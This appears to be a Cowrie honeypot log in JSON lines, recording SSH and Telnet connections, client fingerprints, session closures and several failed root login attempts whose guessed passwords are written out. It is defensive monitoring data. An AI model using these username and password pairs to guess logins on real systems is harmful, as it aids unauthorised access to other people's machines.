{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":39706,"dst_ip":"159.203.135.109","dst_port":22,"session":"04778c13dac7","protocol":"ssh","message":"New connection: 49.51.241.230:39706 (159.203.135.109:22) [session: 04778c13dac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:39.774098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:39.779188Z","src_ip":"49.51.241.230","session":"04778c13dac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:39.848621Z","src_ip":"49.51.241.230","session":"04778c13dac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123456","message":"login attempt [root/qwer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:39.921154Z","src_ip":"43.135.176.251","session":"5721faf5fb78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:39.986782Z","src_ip":"77.105.130.18","session":"8a3a11813bf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig!1234","message":"login attempt [root/K0nig!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:40.158518Z","src_ip":"49.51.241.230","session":"04778c13dac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:40.992681Z","src_ip":"43.135.176.251","session":"5721faf5fb78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:41.230908Z","src_ip":"49.51.241.230","session":"04778c13dac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"021fba9c8287","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 021fba9c8287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:42.468419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:42.472057Z","src_ip":"74.243.239.219","session":"021fba9c8287","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:42.641502Z","src_ip":"74.243.239.219","session":"021fba9c8287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":54950,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d41b1417550","protocol":"ssh","message":"New connection: 193.233.48.169:54950 (10.17.0.5:22) [session: 6d41b1417550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:42.792149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:42.797021Z","src_ip":"193.233.48.169","session":"6d41b1417550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:42.920448Z","src_ip":"193.233.48.169","session":"6d41b1417550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"batman","message":"login attempt [root/batman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:43.343632Z","src_ip":"74.243.239.219","session":"021fba9c8287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedcrfvtgb123321","message":"login attempt [root/qazwsxedcrfvtgb123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:43.447411Z","src_ip":"193.233.48.169","session":"6d41b1417550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:44.514779Z","src_ip":"74.243.239.219","session":"021fba9c8287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:44.574736Z","src_ip":"193.233.48.169","session":"6d41b1417550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.00855255126953,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:44.853242Z","src_ip":"192.119.13.58","session":"3b70a980fb4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.97287321090698,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:46.271681Z","src_ip":"192.119.13.58","session":"72e62a67838f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52376,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d12d26312d3","protocol":"telnet","message":"New connection: 192.119.13.58:52376 (10.17.0.5:23) [session: 7d12d26312d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:48.511657Z"}
{"eventid":"cowrie.session.closed","duration":41.56551647186279,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:50.469461Z","src_ip":"192.119.13.58","session":"87520a91705f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.85514950752258,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:51.093072Z","src_ip":"192.119.13.58","session":"229c6e695ba8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49374,"dst_ip":"10.17.0.5","dst_port":23,"session":"538d8725b0ff","protocol":"telnet","message":"New connection: 192.119.13.58:49374 (10.17.0.5:23) [session: 538d8725b0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:54.744343Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":34108,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc62648d933e","protocol":"ssh","message":"New connection: 92.207.4.157:34108 (159.203.135.109:22) [session: bc62648d933e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:56.744344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:56.752957Z","src_ip":"92.207.4.157","session":"bc62648d933e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:56.864348Z","src_ip":"92.207.4.157","session":"bc62648d933e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"softnixteam","message":"login attempt [root/softnixteam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:57.375888Z","src_ip":"92.207.4.157","session":"bc62648d933e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:58.489293Z","src_ip":"92.207.4.157","session":"bc62648d933e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48240,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a4ecbec095b","protocol":"telnet","message":"New connection: 192.119.13.58:48240 (10.17.0.5:23) [session: 0a4ecbec095b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:01.355381Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36258,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e1f9f864e6c","protocol":"telnet","message":"New connection: 192.119.13.58:36258 (10.17.0.5:23) [session: 1e1f9f864e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:05.353963Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":37000,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f52d8e0e07e","protocol":"ssh","message":"New connection: 5.181.124.9:37000 (159.203.135.109:22) [session: 3f52d8e0e07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:15.461359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:15.774028Z","src_ip":"5.181.124.9","session":"3f52d8e0e07e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51936,"dst_ip":"10.17.0.5","dst_port":23,"session":"489a3469190d","protocol":"telnet","message":"New connection: 192.119.13.58:51936 (10.17.0.5:23) [session: 489a3469190d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:16.243513Z"}
{"eventid":"cowrie.session.closed","duration":0.007012128829956055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:16.250369Z","src_ip":"192.119.13.58","session":"489a3469190d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:16.777016Z","src_ip":"5.181.124.9","session":"3f52d8e0e07e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37462,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7a9ff54a80e","protocol":"telnet","message":"New connection: 192.119.13.58:37462 (10.17.0.5:23) [session: d7a9ff54a80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:19.745514Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46690,"dst_ip":"10.17.0.5","dst_port":23,"session":"101b2122c474","protocol":"telnet","message":"New connection: 192.119.13.58:46690 (10.17.0.5:23) [session: 101b2122c474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:22.081874Z"}
{"eventid":"cowrie.session.closed","duration":0.012233495712280273,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:22.094192Z","src_ip":"192.119.13.58","session":"101b2122c474","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":37368,"dst_ip":"159.203.135.109","dst_port":22,"session":"28d54966434f","protocol":"ssh","message":"New connection: 37.143.61.84:37368 (159.203.135.109:22) [session: 28d54966434f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:23.778858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:23.784254Z","src_ip":"37.143.61.84","session":"28d54966434f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:23.867885Z","src_ip":"37.143.61.84","session":"28d54966434f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123!@#","message":"login attempt [root/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:24.251042Z","src_ip":"37.143.61.84","session":"28d54966434f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56074,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a4f2736b9d","protocol":"telnet","message":"New connection: 192.119.13.58:56074 (10.17.0.5:23) [session: 81a4f2736b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:24.325534Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":47014,"dst_ip":"10.17.0.5","dst_port":22,"session":"10cef258e51b","protocol":"ssh","message":"New connection: 43.135.177.217:47014 (10.17.0.5:22) [session: 10cef258e51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:24.751202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:24.760635Z","src_ip":"43.135.177.217","session":"10cef258e51b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:24.830012Z","src_ip":"43.135.177.217","session":"10cef258e51b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supersuper","message":"login attempt [root/supersuper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:25.135213Z","src_ip":"43.135.177.217","session":"10cef258e51b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"2031cd1ec9a3","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 2031cd1ec9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:25.262762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:25.268493Z","src_ip":"74.243.239.219","session":"2031cd1ec9a3","protocol":"ssh"}
